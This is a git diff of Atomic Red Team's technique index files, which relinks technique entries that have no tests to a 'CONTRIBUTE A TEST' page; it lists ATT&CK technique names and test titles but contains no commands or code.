[Trap](./T1154/T1154.md) | [Launchctl](./T1152/T1152.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | [Trusted Developer Utilities](./T1127/T1127.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | +| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Indirect Command Execution](./T1202/T1202.md) | | | | | | | | | [Windows Management Instrumentation](./T1047/T1047.md) | [Logon Scripts](./T1037/T1037.md) | | [Install Root Certificate](./T1130/T1130.md) | | | | | | | -| | [Windows Remote Management](./T1028/T1028.md) | [Modify Existing Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [InstallUtil](./T1118/T1118.md) | | | | | | | -| | | [Netsh Helper DLL](./T1128/T1128.md) | | [LC_MAIN Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | [Windows Remote Management](./T1028/T1028.md) | Modify Existing Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [InstallUtil](./T1118/T1118.md) | | | | | | | +| | | [Netsh Helper DLL](./T1128/T1128.md) | | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | [New Service](./T1050/T1050.md) | | [Launchctl](./T1152/T1152.md) | | | | | | | -| | | [Office Application Startup](./T1137/T1137.md) | | [Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | [Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Modify Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Office Application Startup](./T1137/T1137.md) | | Masquerading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Modify Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | [Plist Modification](./T1150/T1150.md) | | [Mshta](./T1170/T1170.md) | | | | | | | -| | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | -| | | [Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Network Share Connection Removal](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | [Rc.common](./T1163/T1163.md) | | [Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | +| | | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Network Share Connection Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | [Rc.common](./T1163/T1163.md) | | Obfuscated Files or Information [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | [Re-opened Applications](./T1164/T1164.md) | | [Plist Modification](./T1150/T1150.md) | | | | | | | -| | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | [Registry Run Keys / Start Folder](./T1060/T1060.md) | | [Process Doppelgänging](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | [SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Process Hollowing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | [Registry Run Keys / Start Folder](./T1060/T1060.md) | | Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Hollowing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | [Scheduled Task](./T1053/T1053.md) | | [Process Injection](./T1055/T1055.md) | | | | | | | -| | | [Screensaver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | [Security Support Provider](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | -| | | [Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Regsvr32](./T1117/T1117.md) | | | | | | | -| | | [Shortcut Modification](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Rootkit](./T1014/T1014.md) | | | | | | | +| | | Screensaver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Security Support Provider [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | +| | | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Regsvr32](./T1117/T1117.md) | | | | | | | +| | | Shortcut Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Rootkit](./T1014/T1014.md) | | | | | | | | | | [Startup Items](./T1165/T1165.md) | | [Rundll32](./T1085/T1085.md) | | | | | | | -| | | [System Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | [Time Providers](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | [Trap](./T1154/T1154.md) | | [Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Software Packing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | System Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Time Providers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | [Trap](./T1154/T1154.md) | | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Signed Script Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Software Packing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | [Windows Management Instrumentation Event Subscription](./T1084/T1084.md) | | [Space after Filename](./T1151/T1151.md) | | | | | | | -| | | [Winlogon Helper DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Timestomp](./T1099/T1099.md) | | | | | | | +| | | Winlogon Helper DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Timestomp](./T1099/T1099.md) | | | | | | | | | | | | [Trusted Developer Utilities](./T1127/T1127.md) | | | | | | | -| | | | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | diff --git a/atomics/windows-index.md b/atomics/windows-index.md index c7759ecf..2d92109f 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -5,24 +5,24 @@ - [T1197 BITS Jobs](./T1197/T1197.md) - Atomic Test #1: Download & Execute [windows] - Atomic Test #2: Download & Execute via PowerShell BITS [windows] -- [T1009 Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1088 Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1009 Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1088 Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1191 CMSTP](./T1191/T1191.md) - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] -- [T1116 Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1109 Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1116 Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1109 Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1122 Component Object Model Hijacking](./T1122/T1122.md) - Atomic Test #1: PowerShell UAC Bypass [windows] -- [T1196 Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1196 Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1207 DCShadow](./T1207/T1207.md) - Atomic Test #1: DCShadow - Mimikatz [windows] -- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1073 DLL Side-Loading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1038 DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1073 DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1140 Deobfuscate/Decode Files or Information](./T1140/T1140.md) - Atomic Test #1: Deobfuscate/Decode Files Or Information [windows] - [T1089 Disabling Security Tools](./T1089/T1089.md) -- [T1211 Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1181 Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1211 Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1181 Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1107 File Deletion](./T1107/T1107.md) - Atomic Test #5: Victim configuration [windows] - Atomic Test #6: Delete a single file - cmd [windows] @@ -33,13 +33,13 @@ - Atomic Test #11: Delete VSS - wmic [windows] - Atomic Test #12: bcdedit [windows] - Atomic Test #13: wbadmin [windows] -- [T1006 File System Logical Offsets](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1006 File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1158 Hidden Files and Directories](./T1158/T1158.md) - [T1183 Image File Execution Options Injection](./T1183/T1183.md) - Atomic Test #1: IFEO Add Debugger [windows] - Atomic Test #2: IFEO GLobal Flags [windows] -- [T1054 Indicator Blocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1066 Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1054 Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1066 Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1070 Indicator Removal on Host](./T1070/T1070.md) - Atomic Test #1: Clear Logs [windows] - Atomic Test #2: FSUtil [windows] @@ -49,20 +49,20 @@ - [T1130 Install Root Certificate](./T1130/T1130.md) - [T1118 InstallUtil](./T1118/T1118.md) - Atomic Test #1: InstallUtil uninstall method call [windows] -- [T1036 Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1112 Modify Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1036 Masquerading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1112 Modify Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1170 Mshta](./T1170/T1170.md) - Atomic Test #1: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject [windows] - [T1096 NTFS File Attributes](./T1096/T1096.md) - Atomic Test #1: Alternate Data Streams (ADS) [windows] -- [T1126 Network Share Connection Removal](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1027 Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1186 Process Doppelgänging](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1093 Process Hollowing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1126 Network Share Connection Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1027 Obfuscated Files or Information [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1186 Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1093 Process Hollowing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1055 Process Injection](./T1055/T1055.md) - Atomic Test #1: Process Injection via mavinject.exe [windows] - Atomic Test #2: Process Injection via PowerSploit [windows] -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1121 Regsvcs/Regasm](./T1121/T1121.md) - Atomic Test #1: Regasm Uninstall Method Call Test [windows] - Atomic Test #2: Regsvs Uninstall Method Call Test [windows] @@ -73,16 +73,16 @@ - [T1014 Rootkit](./T1014/T1014.md) - [T1085 Rundll32](./T1085/T1085.md) - Atomic Test #1: Rundll32 execute JavaScript Remote Payload With GetObject [windows] -- [T1198 SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1218 Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1216 Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1045 Software Packing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1198 SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1064 Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1218 Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1216 Signed Script Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1045 Software Packing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1099 Timestomp](./T1099/T1099.md) - [T1127 Trusted Developer Utilities](./T1127/T1127.md) - Atomic Test #1: MSBuild Bypass Using Inline Tasks [windows] -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # privilege-escalation - [T1134 Access Token Manipulation](./T1134/T1134.md) @@ -95,16 +95,16 @@ - Atomic Test #5: Attaches Command Prompt As Debugger To Process - narrator [windows] - Atomic Test #6: Attaches Command Prompt As Debugger To Process - DisplaySwitch [windows] - Atomic Test #7: Attaches Command Prompt As Debugger To Process - AtBroker [windows] -- [T1182 AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1182 AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1103 AppInit DLLs](./T1103/T1103.md) - Atomic Test #1: Install AppInit Shim [windows] - [T1138 Application Shimming](./T1138/T1138.md) - Atomic Test #1: Application Shim Installation [windows] -- [T1088 Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1068 Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1181 Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1044 File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1088 Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1038 DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1068 Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1181 Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1044 File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] - [T1183 Image File Execution Options Injection](./T1183/T1183.md) @@ -113,19 +113,19 @@ - [T1050 New Service](./T1050/T1050.md) - Atomic Test #1: Service Installation [windows] - Atomic Test #2: Service Installation PowerShell Installs A Local Service using PowerShell [windows] -- [T1034 Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1013 Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1034 Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1013 Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1055 Process Injection](./T1055/T1055.md) - Atomic Test #1: Process Injection via mavinject.exe [windows] - Atomic Test #2: Process Injection via PowerSploit [windows] -- [T1178 SID-History Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1178 SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1053 Scheduled Task](./T1053/T1053.md) - Atomic Test #1: At.exe Scheduled task [windows] - Atomic Test #2: Scheduled task Local [windows] - Atomic Test #3: Scheduled task Remote [windows] -- [T1058 Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1058 Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1100 Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # persistence - [T1015 Accessibility Features](./T1015/T1015.md) @@ -136,40 +136,40 @@ - Atomic Test #5: Attaches Command Prompt As Debugger To Process - narrator [windows] - Atomic Test #6: Attaches Command Prompt As Debugger To Process - DisplaySwitch [windows] - Atomic Test #7: Attaches Command Prompt As Debugger To Process - AtBroker [windows] -- [T1182 AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1182 AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1103 AppInit DLLs](./T1103/T1103.md) - Atomic Test #1: Install AppInit Shim [windows] - [T1138 Application Shimming](./T1138/T1138.md) - Atomic Test #1: Application Shim Installation [windows] -- [T1131 Authentication Package](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1131 Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1197 BITS Jobs](./T1197/T1197.md) - Atomic Test #1: Download & Execute [windows] - Atomic Test #2: Download & Execute via PowerShell BITS [windows] -- [T1067 Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1067 Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1176 Browser Extensions](./T1176/T1176.md) - Atomic Test #1: Chrome (Developer Mode) [linux, windows, macos] - Atomic Test #2: Chrome (Chrome Web Store) [linux, windows, macos] - Atomic Test #3: Firefox [linux, windows, macos] - [T1042 Change Default File Association](./T1042/T1042.md) - Atomic Test #1: Change Default File Association [windows] -- [T1109 Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1109 Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1122 Component Object Model Hijacking](./T1122/T1122.md) - Atomic Test #1: PowerShell UAC Bypass [windows] - [T1136 Create Account](./T1136/T1136.md) -- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1133 External Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1044 File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1038 DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1133 External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1044 File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1158 Hidden Files and Directories](./T1158/T1158.md) - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] -- [T1062 Hypervisor](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1062 Hypervisor [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1183 Image File Execution Options Injection](./T1183/T1183.md) - Atomic Test #1: IFEO Add Debugger [windows] - Atomic Test #2: IFEO GLobal Flags [windows] -- [T1177 LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1177 LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1037 Logon Scripts](./T1037/T1037.md) - Atomic Test #1: Logon Scripts [windows] -- [T1031 Modify Existing Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1031 Modify Existing Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1128 Netsh Helper DLL](./T1128/T1128.md) - Atomic Test #1: Netsh Helper DLL Registration [windows] - [T1050 New Service](./T1050/T1050.md) @@ -177,31 +177,31 @@ - Atomic Test #2: Service Installation PowerShell Installs A Local Service using PowerShell [windows] - [T1137 Office Application Startup](./T1137/T1137.md) - Atomic Test #1: DDEAUTO [windows] -- [T1034 Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1013 Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1034 Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1013 Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1060 Registry Run Keys / Start Folder](./T1060/T1060.md) - Atomic Test #1: Reg Key Run [windows] - Atomic Test #2: Reg Key RunOnce [windows] - Atomic Test #3: PowerShell Registry RunOnce [windows] - Atomic Test #4: Startup Folder [windows] -- [T1198 SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1198 SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1053 Scheduled Task](./T1053/T1053.md) - Atomic Test #1: At.exe Scheduled task [windows] - Atomic Test #2: Scheduled task Local [windows] - Atomic Test #3: Scheduled task Remote [windows] -- [T1180 Screensaver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1101 Security Support Provider](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1058 Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1023 Shortcut Modification](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1019 System Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1209 Time Providers](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1180 Screensaver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1101 Security Support Provider [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1058 Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1023 Shortcut Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1019 System Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1209 Time Providers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1100 Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1084 Windows Management Instrumentation Event Subscription](./T1084/T1084.md) - Atomic Test #1: Persistence [windows] - Atomic Test #2: Persistence Cleanup [windows] -- [T1004 Winlogon Helper DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1004 Winlogon Helper DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # discovery - [T1087 Account Discovery](./T1087/T1087.md) @@ -209,14 +209,14 @@ - Atomic Test #8: Enumerate all user accounts - PowerShell [windows] - Atomic Test #9: Get logged on Users [windows] - Atomic Test #10: Get logged on users PowerShell [windows] -- [T1010 Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1217 Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1010 Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1217 Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1083 File and Directory Discovery](./T1083/T1083.md) - Atomic Test #1: File and Directory Discovery [windows] - [T1046 Network Service Scanning](./T1046/T1046.md) - [T1135 Network Share Discovery](./T1135/T1135.md) -- [T1201 Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1120 Peripheral Device Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1201 Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1120 Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1069 Permission Groups Discovery](./T1069/T1069.md) - [T1057 Process Discovery](./T1057/T1057.md) - [T1012 Query Registry](./T1012/T1012.md) @@ -232,7 +232,7 @@ - Atomic Test #1: System Information Discovery [windows] - [T1016 System Network Configuration Discovery](./T1016/T1016.md) - Atomic Test #1: System Network 